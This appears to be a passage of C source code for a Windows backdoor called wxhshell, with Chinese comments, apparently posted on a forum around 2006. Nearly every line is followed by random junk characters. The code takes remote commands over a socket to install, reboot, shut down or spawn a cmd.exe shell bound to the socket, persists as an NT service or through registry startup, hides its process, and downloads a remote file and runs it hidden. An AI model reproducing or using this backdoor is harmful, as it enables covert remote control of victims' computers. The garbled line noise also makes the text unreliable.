~A =?_5kJ  
    switch(cmd[0]) { 5xF R7%_&  
  'YUx&F cM  
  // 帮助 `.8#q^  
  case '?': { k9iXVYQ.;r  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *N|s+  
    break; Gaxa~?ek  
  } a{%]X(';  
  // 安装 Y^P'slY{%  
  case 'i': { oHI/tS4 _  
    if(Install()) </B5^}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jb4A!g5C  
    else UZq1qn@+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *)H&n>"e  
    break; Vn1hr;i]  
    } 7gY^aMW  
  // 卸载 d[Lr`=L;  
  case 'r': { GY;q0oQ,  
    if(Uninstall()) 7TN94@kCF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zu-1|X X  
    else ]\_T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K9+C3"*I  
    break;  L4,Ke  
    } /n|`a1!  
  // 显示 wxhshell 所在路径 ' y9yx[P  
  case 'p': { Md4JaFA(  
    char svExeFile[MAX_PATH]; '5n67Hl 1  
    strcpy(svExeFile,"\n\r"); 6bW:&IPQ;  
      strcat(svExeFile,ExeFile); r=3knCEWK  
        send(wsh,svExeFile,strlen(svExeFile),0); @JL+xfz  
    break; Q4JvFy0'  
    } J}vxK H#=  
  // 重启 &^W91C?<6  
  case 'b': { \dIQhF%%2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %Kq`8  
    if(Boot(REBOOT)) &QL!Y{=Y6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l[J'FR:  
    else { z nc'  
    closesocket(wsh); m+m,0Ey5H  
    ExitThread(0); A/4HR]  
    } )|@ H#kv?  
    break; [# '38  
    } 0u'qu2mV  
  // 关机 B "z`X!\  
  case 'd': { C'c9AoE5>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p#V h[UTl^  
    if(Boot(SHUTDOWN)) HX3R@^vo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <Y9xHn&  
    else { Uc3-n`C  
    closesocket(wsh); &4ScwK:  
    ExitThread(0); = NHzh!  
    } WhR j@y  
    break; 0H-~-z8Y  
    } ~e!b81  
  // 获取shell u0(PWCi2  
  case 's': { d* 6 lJT  
    CmdShell(wsh); Pkbx /\  
    closesocket(wsh); oe:@7stG  
    ExitThread(0); @ !:~gQ  
    break; 2AAZZx +$  
  } DGwN*>X  
  // 退出 u(s/4Lu  
  case 'x': { :OVre*j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =a<};X  
    CloseIt(wsh); hF!t{ Lf3  
    break; !)(c_ uz  
    } s2{d<0x?v  
  // 离开 Z/wK UK;  
  case 'q': { 0DBA 'Cv  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `KgWaf-  
    closesocket(wsh); Y70[Nz  
    WSACleanup(); bJo)rM :m  
    exit(1); ZgcJxWC<  
    break; 9$z|kwU  
        } WUM&Lq k"  
  } DUk&`BSJ  
  } LH4!QDK-  
W(oJ{R&m{  
  // 提示信息 ?Sq?f?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HD(4Ms  
} 3+_ .I{  
  } cGhnI&  
hy"O_Le  
  return; U9[ &ci  
} k|$08EK $  
>Q$, } `U;  
// shell模块句柄 :)UF#  
int CmdShell(SOCKET sock) TU-4+o%;  
{ I]"wT2@T;7  
STARTUPINFO si; bm>,$GW(  
ZeroMemory(&si,sizeof(si)); QQso<.d&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v>FsP$p4yE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nVF?.c  
PROCESS_INFORMATION ProcessInfo; [4NJ]r M%  
char cmdline[]="cmd"; ?mJNzHrq;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =kz(1Pb  
  return 0; JC~L!)f  
} kCXQHX  
4LRrrW  
// 自身启动模式 lLO|,  
int StartFromService(void) 9Ij=~p]p  
{ %T hY6y(  
typedef struct ]xlV;m  
{ 4!pMZ<$3  
  DWORD ExitStatus; }Km+5'G'U  
  DWORD PebBaseAddress; cnQ;6LtFTz  
  DWORD AffinityMask; e`pYO]Z  
  DWORD BasePriority; Ak`7f$z  
  ULONG UniqueProcessId; g-0?8q5T6  
  ULONG InheritedFromUniqueProcessId; ]d$:R`;  
}   PROCESS_BASIC_INFORMATION; U ~j:b{  
}fps~R  
PROCNTQSIP NtQueryInformationProcess; CbmT aEaP  
/DG+8u  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b ^wL{q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &_-,Nxsf  
l^ P[nQDH  
  HANDLE             hProcess; "<3F[[;~  
  PROCESS_BASIC_INFORMATION pbi; 6>rgoT)6~  
*f%uc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); si:p98[w  
  if(NULL == hInst ) return 0; UEZnd8  
p5|.E  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uD=i-IHT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (yjx+K_[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &b[ .bf  
]Ek6EuaK  
  if (!NtQueryInformationProcess) return 0; < j}n/G]  
_i_^s0J  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g.wp }fz  
  if(!hProcess) return 0; _MF:?p,l  
3*< O-Jr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; aDrF" j  
s}8(__|  
  CloseHandle(hProcess); /5qeNjI+2  
!~+"TI}_%w  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `SdvX n  
if(hProcess==NULL) return 0; Aofk<O!M  
j_::#?o!/  
HMODULE hMod; _4eSDO[h  
char procName[255]; !c}?u_Z/  
unsigned long cbNeeded; .<0|V  
[{]/9E /&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KxyD{W1  
oy8L{8?  
  CloseHandle(hProcess); C|#GODA  
F't4Q  
if(strstr(procName,"services")) return 1; // 以服务启动 sw<mmayN  
0(!j]w"r3  
  return 0; // 注册表启动 K`7(*!HEb  
} 4+rr3 $AY  
x*]&Ca0+  
// 主模块 %49P<vo`?  
int StartWxhshell(LPSTR lpCmdLine) %gK@ R3p  
{ ;DQ{6(  
  SOCKET wsl; `/ W6, ]  
BOOL val=TRUE; 6n[O8^  
  int port=0; Q"o* \I  
  struct sockaddr_in door; Z>0a?=1[  
|;~kHc$W  
  if(wscfg.ws_autoins) Install(); <SK%W=  
5 )tDgm  
port=atoi(lpCmdLine); ZDMv8BP7  
]q#w97BxiJ  
if(port<=0) port=wscfg.ws_port; ~ IPel  
N4]Sp v  
  WSADATA data; ]i$ <<u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $ z4JUr!m  
5k%Gj T  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U/hf?T;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ( (.b&  
  door.sin_family = AF_INET; OvL@@SX |  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9T`$gAI  
  door.sin_port = htons(port); 9%+Nzo(Fd  
D<V[:~-o  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y^Of  
closesocket(wsl); ~3f`=r3/.  
return 1;  fP+RuZ  
} +<l6!r2Z  
6wIo95`  
  if(listen(wsl,2) == INVALID_SOCKET) { ]2:w?+T  
closesocket(wsl); UweXz.x7  
return 1; (d9G`  
} 54X=58Q  
  Wxhshell(wsl); *$%ch=  
  WSACleanup(); ld*W\  
h/'b(9fS  
return 0; WruSL|4iH  
cSbyVC[r  
} HPGIz!o  
y7f,]<%e_  
// 以NT服务方式启动 tu4-##{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) E#?Bn5-uBs  
{ xqZZ(jZ  
DWORD   status = 0; }PC_qQF  
  DWORD   specificError = 0xfffffff; j{8;5 ?x  
%4bGI/\/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z%FBHj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z<P?P`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |M8FMH[_  
  serviceStatus.dwWin32ExitCode     = 0; ;u:A:Y4V  
  serviceStatus.dwServiceSpecificExitCode = 0; ~J~@mE2ks  
  serviceStatus.dwCheckPoint       = 0; /nPNHO>U  
  serviceStatus.dwWaitHint       = 0; xbVvK+  
8fI]QW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nj90`O.K  
  if (hServiceStatusHandle==0) return; Z.^DJ9E<1  
3^jkd)xw  
status = GetLastError(); [9<c;&$LU  
  if (status!=NO_ERROR) JWh5gOXd  
{ +#;t.&\80N  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z=[qaJ{]  
    serviceStatus.dwCheckPoint       = 0; r$8(Q'  
    serviceStatus.dwWaitHint       = 0; k},@2#W]  
    serviceStatus.dwWin32ExitCode     = status; =c(t;u6m-  
    serviceStatus.dwServiceSpecificExitCode = specificError; D+nKQ4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M]5)u=}S-  
    return; DB=^Z%%Z  
  } }s@ i  
\!51I./Q/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; iBqxz:PHN(  
  serviceStatus.dwCheckPoint       = 0; c"wk_ #  
  serviceStatus.dwWaitHint       = 0; l:@`.'-=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0: 1[F!]'b  
} S17iYjy#8T  
E;o "^[we  
// 处理NT服务事件,比如:启动、停止 ;bYpMcH  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hL?"!  
{ q PveG1+25  
switch(fdwControl)  ~ERA  
{ &06pUp iS  
case SERVICE_CONTROL_STOP: G5oBe6\C  
  serviceStatus.dwWin32ExitCode = 0; &UFj U%Z%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3+<f7  
  serviceStatus.dwCheckPoint   = 0; s ahXPl%;U  
  serviceStatus.dwWaitHint     = 0; Ye=c;0V(w  
  { ?hFG+`"W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +A;AX.mr  
  } 6_=t~9sY  
  return; B4#XQ-  
case SERVICE_CONTROL_PAUSE: P&sn IJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dED&-e#  
  break; >h Rq  
case SERVICE_CONTROL_CONTINUE: t}Q PPp y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {Mv$~T|e7  
  break;  LBIsj}e  
case SERVICE_CONTROL_INTERROGATE: ^~7/hm:  
  break; j^T i6F>f  
}; r%uka5@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #5 %\~ f  
} FJ+n- \  
G m~2s;/  
// 标准应用程序主函数 2(i@\dZCb<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h,fC-+H5  
{ (teK0s;t5k  
mS9ITe M  
// 获取操作系统版本  Z,"f2UJ  
OsIsNt=GetOsVer(); i)1013b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -V F*h.'  
W#bOx0  
  // 从命令行安装 EyDH -}Y  
  if(strpbrk(lpCmdLine,"iI")) Install(); +a'["Gjq;  
/)J]m  
  // 下载执行文件 FoX,({*Ko~  
if(wscfg.ws_downexe) { AxAbU7m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E4cPCQyeH  
  WinExec(wscfg.ws_filenam,SW_HIDE); lzbAx  
} lJJ`aYDp  
!+)5?o  
if(!OsIsNt) { v.!e1ke8D*  
// 如果时win9x,隐藏进程并且设置为注册表启动 Q/%]%d  
HideProc(); 0s72BcP  
StartWxhshell(lpCmdLine); WNK)IC~c  
} @c -| Sl  
else 0F-%C>&g  
  if(StartFromService()) EEp~\^ -  
  // 以服务方式启动 ra|Ku!  
  StartServiceCtrlDispatcher(DispatchTable); gWGh:.*T  
else W @]t  
  // 普通方式启动 jr2wK?LbB  
  StartWxhshell(lpCmdLine); Fzk%eHG=  
ukDaX  
return 0; 2{9%E6%#  
}
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只看该作者 1 发表于: 2006-10-10
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